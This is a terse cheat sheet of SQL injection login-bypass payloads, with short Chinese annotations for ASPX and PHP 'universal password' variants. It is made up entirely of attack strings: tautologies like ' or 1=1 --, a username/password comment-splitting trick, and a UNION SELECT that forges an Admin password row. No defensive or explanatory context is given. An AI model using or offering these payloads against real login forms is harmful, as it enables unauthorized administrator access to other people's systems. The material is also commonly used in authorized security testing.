+-----------------------------+
|   ' or 1=1 --       |
|   a' or 1=1 --       |
|   " or 1=1 --       |
|   a" or 1=1 --       |
|   ' or 1=1 #       |
|   " or 1=1 #       |
|   or 1=1 --       |
|   ' or 'x'='x       |
|   " or "x"="x       |
|   ') or ('x'='x       |
|   ") or ("x"="x       |
| ' or username LIKE '%admin% |
+-----------------------------+
|      USERNAME: ' or 1/*    |
|      PASSWORD: */ =1 --    |
+-----------------------------+
| USERNAME: admin' or 'a'='a |
| PASSWORD: '#
aspx 结果集查询出来之后union
' UNION Select 1,1 AS passward FROM Admin Where ''='
sql = "select username,passward from Admin where username='' UNION Select 1,1 AS passward FROM Admin Where ''=''
php 万能密码
' or 1=1/*